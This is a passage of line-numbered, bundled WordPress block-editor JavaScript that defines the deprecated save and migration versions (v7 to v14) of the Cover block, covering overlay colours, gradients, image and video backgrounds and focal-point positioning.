11054 __experimentalDuotone: "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
11055 text: false,
11056 background: false
11057 }
11058};
11059const v12BlockSupports = {
11060 ...v7toV11BlockSupports,
11061 spacing: {
11062 padding: true,
11063 margin: ["top", "bottom"],
11064 blockGap: true,
11065 __experimentalDefaultControls: {
11066 padding: true,
11067 blockGap: true
11068 }
11069 },
11070 __experimentalBorder: {
11071 color: true,
11072 radius: true,
11073 style: true,
11074 width: true,
11075 __experimentalDefaultControls: {
11076 color: true,
11077 radius: true,
11078 style: true,
11079 width: true
11080 }
11081 },
11082 color: {
11083 __experimentalDuotone: "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
11084 heading: true,
11085 text: true,
11086 background: false,
11087 __experimentalSkipSerialization: ["gradients"],
11088 enableContrastChecker: false
11089 },
11090 typography: {
11091 fontSize: true,
11092 lineHeight: true,
11093 __experimentalFontFamily: true,
11094 __experimentalFontWeight: true,
11095 __experimentalFontStyle: true,
11096 __experimentalTextTransform: true,
11097 __experimentalTextDecoration: true,
11098 __experimentalLetterSpacing: true,
11099 __experimentalDefaultControls: {
11100 fontSize: true
11101 }
11102 },
11103 layout: {
11104 allowJustification: false
11105 }
11106};
11107const v14BlockSupports = {
11108 ...v12BlockSupports,
11109 shadow: true,
11110 dimensions: {
11111 aspectRatio: true
11112 },
11113 interactivity: {
11114 clientNavigation: true
11115 }
11116};
11117const v14 = {
11118 attributes: v14BlockAttributes,
11119 supports: v14BlockSupports,
11120 save({ attributes }) {
11121 const {
11122 backgroundType,
11123 gradient,
11124 contentPosition,
11125 customGradient,
11126 customOverlayColor,
11127 dimRatio,
11128 focalPoint,
11129 useFeaturedImage,
11130 hasParallax,
11131 isDark,
11132 isRepeated,
11133 overlayColor,
11134 url,
11135 alt,
11136 id,
11137 minHeight: minHeightProp,
11138 minHeightUnit,
11139 tagName: Tag,
11140 sizeSlug
11141 } = attributes;
11142 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11143 "background-color",
11144 overlayColor
11145 );
11146 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11147 const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11148 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11149 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11150 const isImgElement = !(hasParallax || isRepeated);
11151 const style = {
11152 minHeight: minHeight || void 0
11153 };
11154 const bgStyle = {
11155 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11156 background: customGradient ? customGradient : void 0
11157 };
11158 const objectPosition = (
11159 // prettier-ignore
11160 focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
11161 );
11162 const backgroundImage = url ? `url(${url})` : void 0;
11163 const backgroundPosition = mediaPosition(focalPoint);
11164 const classes = dist_clsx(
11165 {
11166 "is-light": !isDark,
11167 "has-parallax": hasParallax,
11168 "is-repeated": isRepeated,
11169 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11170 },
11171 getPositionClassName(contentPosition)
11172 );
11173 const imgClasses = dist_clsx(
11174 "wp-block-cover__image-background",
11175 id ? `wp-image-${id}` : null,
11176 {
11177 [`size-${sizeSlug}`]: sizeSlug,
11178 "has-parallax": hasParallax,
11179 "is-repeated": isRepeated
11180 }
11181 );
11182 const gradientValue = gradient || customGradient;
11183 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tag, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11184 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11185 "span",
11186 {
11187 "aria-hidden": "true",
11188 className: dist_clsx(
11189 "wp-block-cover__background",
11190 overlayColorClass,
11191 dimRatioToClass(dimRatio),
11192 {
11193 "has-background-dim": dimRatio !== void 0,
11194 // For backwards compatibility. Former versions of the Cover Block applied
11195 // `.wp-block-cover__gradient-background` in the presence of
11196 // media, a gradient and a dim.
11197 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
11198 "has-background-gradient": gradientValue,
11199 [gradientClass]: gradientClass
11200 }
11201 ),
11202 style: bgStyle
11203 }
11204 ),
11205 !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11206 "img",
11207 {
11208 className: imgClasses,
11209 alt,
11210 src: url,
11211 style: { objectPosition },
11212 "data-object-fit": "cover",
11213 "data-object-position": objectPosition
11214 }
11215 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11216 "div",
11217 {
11218 role: alt ? "img" : void 0,
11219 "aria-label": alt ? alt : void 0,
11220 className: imgClasses,
11221 style: { backgroundPosition, backgroundImage }
11222 }
11223 )),
11224 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11225 "video",
11226 {
11227 className: dist_clsx(
11228 "wp-block-cover__video-background",
11229 "intrinsic-ignore"
11230 ),
11231 autoPlay: true,
11232 muted: true,
11233 loop: true,
11234 playsInline: true,
11235 src: url,
11236 style: { objectPosition },
11237 "data-object-fit": "cover",
11238 "data-object-position": objectPosition
11239 }
11240 ),
11241 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11242 "div",
11243 {
11244 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
11245 className: "wp-block-cover__inner-container"
11246 })
11247 }
11248 )
11249 ] });
11250 }
11251};
11252const v13 = {
11253 attributes: v12toV13BlockAttributes,
11254 supports: v12BlockSupports,
11255 save({ attributes }) {
11256 const {
11257 backgroundType,
11258 gradient,
11259 contentPosition,
11260 customGradient,
11261 customOverlayColor,
11262 dimRatio,
11263 focalPoint,
11264 useFeaturedImage,
11265 hasParallax,
11266 isDark,
11267 isRepeated,
11268 overlayColor,
11269 url,
11270 alt,
11271 id,
11272 minHeight: minHeightProp,
11273 minHeightUnit,
11274 tagName: Tag
11275 } = attributes;
11276 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11277 "background-color",
11278 overlayColor
11279 );
11280 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11281 const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11282 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11283 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11284 const isImgElement = !(hasParallax || isRepeated);
11285 const style = {
11286 minHeight: minHeight || void 0
11287 };
11288 const bgStyle = {
11289 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11290 background: customGradient ? customGradient : void 0
11291 };
11292 const objectPosition = (
11293 // prettier-ignore
11294 focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
11295 );
11296 const backgroundImage = url ? `url(${url})` : void 0;
11297 const backgroundPosition = mediaPosition(focalPoint);
11298 const classes = dist_clsx(
11299 {
11300 "is-light": !isDark,
11301 "has-parallax": hasParallax,
11302 "is-repeated": isRepeated,
11303 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11304 },
11305 getPositionClassName(contentPosition)
11306 );
11307 const imgClasses = dist_clsx(
11308 "wp-block-cover__image-background",
11309 id ? `wp-image-${id}` : null,
11310 {
11311 "has-parallax": hasParallax,
11312 "is-repeated": isRepeated
11313 }
11314 );
11315 const gradientValue = gradient || customGradient;
11316 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tag, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11317 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11318 "span",
11319 {
11320 "aria-hidden": "true",
11321 className: dist_clsx(
11322 "wp-block-cover__background",
11323 overlayColorClass,
11324 dimRatioToClass(dimRatio),
11325 {
11326 "has-background-dim": dimRatio !== void 0,
11327 // For backwards compatibility. Former versions of the Cover Block applied
11328 // `.wp-block-cover__gradient-background` in the presence of
11329 // media, a gradient and a dim.
11330 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
11331 "has-background-gradient": gradientValue,
11332 [gradientClass]: gradientClass
11333 }
11334 ),
11335 style: bgStyle
11336 }
11337 ),
11338 !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11339 "img",
11340 {
11341 className: imgClasses,
11342 alt,
11343 src: url,
11344 style: { objectPosition },
11345 "data-object-fit": "cover",
11346 "data-object-position": objectPosition
11347 }
11348 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11349 "div",
11350 {
11351 role: "img",
11352 className: imgClasses,
11353 style: { backgroundPosition, backgroundImage }
11354 }
11355 )),
11356 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11357 "video",
11358 {
11359 className: dist_clsx(
11360 "wp-block-cover__video-background",
11361 "intrinsic-ignore"
11362 ),
11363 autoPlay: true,
11364 muted: true,
11365 loop: true,
11366 playsInline: true,
11367 src: url,
11368 style: { objectPosition },
11369 "data-object-fit": "cover",
11370 "data-object-position": objectPosition
11371 }
11372 ),
11373 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11374 "div",
11375 {
11376 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
11377 className: "wp-block-cover__inner-container"
11378 })
11379 }
11380 )
11381 ] });
11382 }
11383};
11384const deprecated_v12 = {
11385 attributes: v12toV13BlockAttributes,
11386 supports: v12BlockSupports,
11387 isEligible(attributes) {
11388 return (attributes.customOverlayColor !== void 0 || attributes.overlayColor !== void 0) && attributes.isUserOverlayColor === void 0;
11389 },
11390 migrate(attributes) {
11391 return {
11392 ...attributes,
11393 isUserOverlayColor: true
11394 };
11395 },
11396 save({ attributes }) {
11397 const {
11398 backgroundType,
11399 gradient,
11400 contentPosition,
11401 customGradient,
11402 customOverlayColor,
11403 dimRatio,
11404 focalPoint,
11405 useFeaturedImage,
11406 hasParallax,
11407 isDark,
11408 isRepeated,
11409 overlayColor,
11410 url,
11411 alt,
11412 id,
11413 minHeight: minHeightProp,
11414 minHeightUnit,
11415 tagName: Tag
11416 } = attributes;
11417 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11418 "background-color",
11419 overlayColor
11420 );
11421 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11422 const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11423 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11424 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11425 const isImgElement = !(hasParallax || isRepeated);
11426 const style = {
11427 minHeight: minHeight || void 0
11428 };
11429 const bgStyle = {
11430 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11431 background: customGradient ? customGradient : void 0
11432 };
11433 const objectPosition = (
11434 // prettier-ignore
11435 focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
11436 );
11437 const backgroundImage = url ? `url(${url})` : void 0;
11438 const backgroundPosition = mediaPosition(focalPoint);
11439 const classes = dist_clsx(
11440 {
11441 "is-light": !isDark,
11442 "has-parallax": hasParallax,
11443 "is-repeated": isRepeated,
11444 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11445 },
11446 getPositionClassName(contentPosition)
11447 );
11448 const imgClasses = dist_clsx(
11449 "wp-block-cover__image-background",
11450 id ? `wp-image-${id}` : null,
11451 {
11452 "has-parallax": hasParallax,
11453 "is-repeated": isRepeated
11454 }
11455 );
11456 const gradientValue = gradient || customGradient;
11457 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tag, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11458 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11459 "span",
11460 {
11461 "aria-hidden": "true",
11462 className: dist_clsx(
11463 "wp-block-cover__background",
11464 overlayColorClass,
11465 dimRatioToClass(dimRatio),
11466 {
11467 "has-background-dim": dimRatio !== void 0,
11468 // For backwards compatibility. Former versions of the Cover Block applied
11469 // `.wp-block-cover__gradient-background` in the presence of
11470 // media, a gradient and a dim.
11471 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
11472 "has-background-gradient": gradientValue,
11473 [gradientClass]: gradientClass
11474 }
11475 ),
11476 style: bgStyle
11477 }
11478 ),
11479 !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11480 "img",
11481 {
11482 className: imgClasses,
11483 alt,
11484 src: url,
11485 style: { objectPosition },
11486 "data-object-fit": "cover",
11487 "data-object-position": objectPosition
11488 }
11489 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11490 "div",
11491 {
11492 role: "img",
11493 className: imgClasses,
11494 style: { backgroundPosition, backgroundImage }
11495 }
11496 )),
11497 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11498 "video",
11499 {
11500 className: dist_clsx(
11501 "wp-block-cover__video-background",
11502 "intrinsic-ignore"
11503 ),
11504 autoPlay: true,
11505 muted: true,
11506 loop: true,
11507 playsInline: true,
11508 src: url,
11509 style: { objectPosition },
11510 "data-object-fit": "cover",
11511 "data-object-position": objectPosition
11512 }
11513 ),
11514 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11515 "div",
11516 {
11517 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
11518 className: "wp-block-cover__inner-container"
11519 })
11520 }
11521 )
11522 ] });
11523 }
11524};
11525const deprecated_v11 = {
11526 attributes: v8ToV11BlockAttributes,
11527 supports: v7toV11BlockSupports,
11528 save({ attributes }) {
11529 const {
11530 backgroundType,
11531 gradient,
11532 contentPosition,
11533 customGradient,
11534 customOverlayColor,
11535 dimRatio,
11536 focalPoint,
11537 useFeaturedImage,
11538 hasParallax,
11539 isDark,
11540 isRepeated,
11541 overlayColor,
11542 url,
11543 alt,
11544 id,
11545 minHeight: minHeightProp,
11546 minHeightUnit
11547 } = attributes;
11548 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11549 "background-color",
11550 overlayColor
11551 );
11552 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11553 const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11554 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11555 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11556 const isImgElement = !(hasParallax || isRepeated);
11557 const style = {
11558 minHeight: minHeight || void 0
11559 };
11560 const bgStyle = {
11561 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11562 background: customGradient ? customGradient : void 0
11563 };
11564 const objectPosition = (
11565 // prettier-ignore
11566 focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
11567 );
11568 const backgroundImage = url ? `url(${url})` : void 0;
11569 const backgroundPosition = mediaPosition(focalPoint);
11570 const classes = dist_clsx(
11571 {
11572 "is-light": !isDark,
11573 "has-parallax": hasParallax,
11574 "is-repeated": isRepeated,
11575 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11576 },
11577 getPositionClassName(contentPosition)
11578 );
11579 const imgClasses = dist_clsx(
11580 "wp-block-cover__image-background",
11581 id ? `wp-image-${id}` : null,
11582 {
11583 "has-parallax": hasParallax,
11584 "is-repeated": isRepeated
11585 }
11586 );
11587 const gradientValue = gradient || customGradient;
11588 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11589 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11590 "span",
11591 {
11592 "aria-hidden": "true",
11593 className: dist_clsx(
11594 "wp-block-cover__background",
11595 overlayColorClass,
11596 dimRatioToClass(dimRatio),
11597 {
11598 "has-background-dim": dimRatio !== void 0,
11599 // For backwards compatibility. Former versions of the Cover Block applied
11600 // `.wp-block-cover__gradient-background` in the presence of
11601 // media, a gradient and a dim.
11602 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
11603 "has-background-gradient": gradientValue,
11604 [gradientClass]: gradientClass
11605 }
11606 ),
11607 style: bgStyle
11608 }
11609 ),
11610 !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11611 "img",
11612 {
11613 className: imgClasses,
11614 alt,
11615 src: url,
11616 style: { objectPosition },
11617 "data-object-fit": "cover",
11618 "data-object-position": objectPosition
11619 }
11620 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11621 "div",
11622 {
11623 role: "img",
11624 className: imgClasses,
11625 style: { backgroundPosition, backgroundImage }
11626 }
11627 )),
11628 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11629 "video",
11630 {
11631 className: dist_clsx(
11632 "wp-block-cover__video-background",
11633 "intrinsic-ignore"
11634 ),
11635 autoPlay: true,
11636 muted: true,
11637 loop: true,
11638 playsInline: true,
11639 src: url,
11640 style: { objectPosition },
11641 "data-object-fit": "cover",
11642 "data-object-position": objectPosition
11643 }
11644 ),
11645 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11646 "div",
11647 {
11648 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
11649 className: "wp-block-cover__inner-container"
11650 })
11651 }
11652 )
11653 ] });
11654 },
11655 migrate: migrateTag
11656};
11657const deprecated_v10 = {
11658 attributes: v8ToV11BlockAttributes,
11659 supports: v7toV11BlockSupports,
11660 save({ attributes }) {
11661 const {
11662 backgroundType,
11663 gradient,
11664 contentPosition,
11665 customGradient,
11666 customOverlayColor,
11667 dimRatio,
11668 focalPoint,
11669 useFeaturedImage,
11670 hasParallax,
11671 isDark,
11672 isRepeated,
11673 overlayColor,
11674 url,
11675 alt,
11676 id,
11677 minHeight: minHeightProp,
11678 minHeightUnit
11679 } = attributes;
11680 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11681 "background-color",
11682 overlayColor
11683 );
11684 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11685 const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11686 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11687 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11688 const isImgElement = !(hasParallax || isRepeated);
11689 const style = {
11690 ...isImageBackground && !isImgElement && !useFeaturedImage ? backgroundImageStyles(url) : {},
11691 minHeight: minHeight || void 0
11692 };
11693 const bgStyle = {
11694 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11695 background: customGradient ? customGradient : void 0
11696 };
11697 const objectPosition = (
11698 // prettier-ignore
11699 focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
11700 );
11701 const classes = dist_clsx(
11702 {
11703 "is-light": !isDark,
11704 "has-parallax": hasParallax,
11705 "is-repeated": isRepeated,
11706 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11707 },
11708 getPositionClassName(contentPosition)
11709 );
11710 const gradientValue = gradient || customGradient;
11711 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11712 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11713 "span",
11714 {
11715 "aria-hidden": "true",
11716 className: dist_clsx(
11717 "wp-block-cover__background",
11718 overlayColorClass,
11719 dimRatioToClass(dimRatio),
11720 {
11721 "has-background-dim": dimRatio !== void 0,
11722 // For backwards compatibility. Former versions of the Cover Block applied
11723 // `.wp-block-cover__gradient-background` in the presence of
11724 // media, a gradient and a dim.
11725 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
11726 "has-background-gradient": gradientValue,
11727 [gradientClass]: gradientClass
11728 }
11729 ),
11730 style: bgStyle
11731 }
11732 ),
11733 !useFeaturedImage && isImageBackground && isImgElement && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11734 "img",
11735 {
11736 className: dist_clsx(
11737 "wp-block-cover__image-background",
11738 id ? `wp-image-${id}` : null
11739 ),
11740 alt,
11741 src: url,
11742 style: { objectPosition },
11743 "data-object-fit": "cover",
11744 "data-object-position": objectPosition
11745 }
11746 ),
11747 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11748 "video",
11749 {
11750 className: dist_clsx(
11751 "wp-block-cover__video-background",
11752 "intrinsic-ignore"
11753 ),
11754 autoPlay: true,
11755 muted: true,
11756 loop: true,
11757 playsInline: true,
11758 src: url,
11759 style: { objectPosition },
11760 "data-object-fit": "cover",
11761 "data-object-position": objectPosition
11762 }
11763 ),
11764 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11765 "div",
11766 {
11767 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
11768 className: "wp-block-cover__inner-container"
11769 })
11770 }
11771 )
11772 ] });
11773 },
11774 migrate: migrateTag
11775};
11776const v9 = {
11777 attributes: v8ToV11BlockAttributes,
11778 supports: v7toV11BlockSupports,
11779 save({ attributes }) {
11780 const {
11781 backgroundType,
11782 gradient,
11783 contentPosition,
11784 customGradient,
11785 customOverlayColor,
11786 dimRatio,
11787 focalPoint,
11788 hasParallax,
11789 isDark,
11790 isRepeated,
11791 overlayColor,
11792 url,
11793 alt,
11794 id,
11795 minHeight: minHeightProp,
11796 minHeightUnit
11797 } = attributes;
11798 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11799 "background-color",
11800 overlayColor
11801 );
11802 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11803 const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11804 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11805 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11806 const isImgElement = !(hasParallax || isRepeated);
11807 const style = {
11808 ...isImageBackground && !isImgElement ? backgroundImageStyles(url) : {},
11809 minHeight: minHeight || void 0
11810 };
11811 const bgStyle = {
11812 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11813 background: customGradient ? customGradient : void 0
11814 };
11815 const objectPosition = (
11816 // prettier-ignore
11817 focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
11818 );
11819 const classes = dist_clsx(
11820 {
11821 "is-light": !isDark,
11822 "has-parallax": hasParallax,
11823 "is-repeated": isRepeated,
11824 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11825 },
11826 getPositionClassName(contentPosition)
11827 );
11828 const gradientValue = gradient || customGradient;
11829 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11830 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11831 "span",
11832 {
11833 "aria-hidden": "true",
11834 className: dist_clsx(
11835 "wp-block-cover__background",
11836 overlayColorClass,
11837 dimRatioToClass(dimRatio),
11838 {
11839 "has-background-dim": dimRatio !== void 0,
11840 // For backwards compatibility. Former versions of the Cover Block applied
11841 // `.wp-block-cover__gradient-background` in the presence of
11842 // media, a gradient and a dim.
11843 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
11844 "has-background-gradient": gradientValue,
11845 [gradientClass]: gradientClass
11846 }
11847 ),
11848 style: bgStyle
11849 }
11850 ),
11851 isImageBackground && isImgElement && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11852 "img",
11853 {
11854 className: dist_clsx(
11855 "wp-block-cover__image-background",
11856 id ? `wp-image-${id}` : null
11857 ),
11858 alt,
11859 src: url,
11860 style: { objectPosition },
11861 "data-object-fit": "cover",
11862 "data-object-position": objectPosition
11863 }
11864 ),
11865 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11866 "video",
11867 {
11868 className: dist_clsx(
11869 "wp-block-cover__video-background",
11870 "intrinsic-ignore"
11871 ),
11872 autoPlay: true,
11873 muted: true,
11874 loop: true,
11875 playsInline: true,
11876 src: url,
11877 style: { objectPosition },
11878 "data-object-fit": "cover",
11879 "data-object-position": objectPosition
11880 }
11881 ),
11882 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11883 "div",
11884 {
11885 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
11886 className: "wp-block-cover__inner-container"
11887 })
11888 }
11889 )
11890 ] });
11891 },
11892 migrate: migrateTag
11893};
11894const v8 = {
11895 attributes: v8ToV11BlockAttributes,
11896 supports: v7toV11BlockSupports,
11897 save({ attributes }) {
11898 const {
11899 backgroundType,
11900 gradient,
11901 contentPosition,
11902 customGradient,
11903 customOverlayColor,
11904 dimRatio,
11905 focalPoint,
11906 hasParallax,
11907 isDark,
11908 isRepeated,
11909 overlayColor,
11910 url,
11911 alt,
11912 id,
11913 minHeight: minHeightProp,
11914 minHeightUnit
11915 } = attributes;
11916 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
11917 "background-color",
11918 overlayColor
11919 );
11920 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
11921 const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
11922 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
11923 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
11924 const isImgElement = !(hasParallax || isRepeated);
11925 const style = {
11926 ...isImageBackground && !isImgElement ? backgroundImageStyles(url) : {},
11927 minHeight: minHeight || void 0
11928 };
11929 const bgStyle = {
11930 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
11931 background: customGradient ? customGradient : void 0
11932 };
11933 const objectPosition = (
11934 // prettier-ignore
11935 focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
11936 );
11937 const classes = dist_clsx(
11938 {
11939 "is-light": !isDark,
11940 "has-parallax": hasParallax,
11941 "is-repeated": isRepeated,
11942 "has-custom-content-position": !isContentPositionCenter(contentPosition)
11943 },
11944 getPositionClassName(contentPosition)
11945 );
11946 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
11947 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11948 "span",
11949 {
11950 "aria-hidden": "true",
11951 className: dist_clsx(
11952 overlayColorClass,
11953 dimRatioToClass(dimRatio),
11954 "wp-block-cover__gradient-background",
11955 gradientClass,
11956 {
11957 "has-background-dim": dimRatio !== void 0,
11958 "has-background-gradient": gradient || customGradient,
11959 [gradientClass]: !url && gradientClass
11960 }
11961 ),
11962 style: bgStyle
11963 }
11964 ),
11965 isImageBackground && isImgElement && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11966 "img",
11967 {
11968 className: dist_clsx(
11969 "wp-block-cover__image-background",
11970 id ? `wp-image-${id}` : null
11971 ),
11972 alt,
11973 src: url,
11974 style: { objectPosition },
11975 "data-object-fit": "cover",
11976 "data-object-position": objectPosition
11977 }
11978 ),
11979 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11980 "video",
11981 {
11982 className: dist_clsx(
11983 "wp-block-cover__video-background",
11984 "intrinsic-ignore"
11985 ),
11986 autoPlay: true,
11987 muted: true,
11988 loop: true,
11989 playsInline: true,
11990 src: url,
11991 style: { objectPosition },
11992 "data-object-fit": "cover",
11993 "data-object-position": objectPosition
11994 }
11995 ),
11996 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11997 "div",
11998 {
11999 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
12000 className: "wp-block-cover__inner-container"
12001 })
12002 }
12003 )
12004 ] });
12005 },
12006 migrate: migrateTag
12007};
12008const v7 = {
12009 attributes: {
12010 ...deprecated_blockAttributes,
12011 isRepeated: {
12012 type: "boolean",
12013 default: false
12014 },
12015 minHeight: {
12016 type: "number"
12017 },
12018 minHeightUnit: {
12019 type: "string"
12020 },
12021 gradient: {
12022 type: "string"
12023 },
12024 customGradient: {
12025 type: "string"
12026 },
12027 contentPosition: {
12028 type: "string"
12029 },
12030 alt: {
12031 type: "string",
12032 source: "attribute",
12033 selector: "img",
12034 attribute: "alt",
12035 default: ""
12036 }
12037 },
12038 supports: v7toV11BlockSupports,
12039 save({ attributes }) {
12040 const {
12041 backgroundType,
12042 gradient,
12043 contentPosition,
12044 customGradient,
12045 customOverlayColor,
12046 dimRatio,
12047 focalPoint,
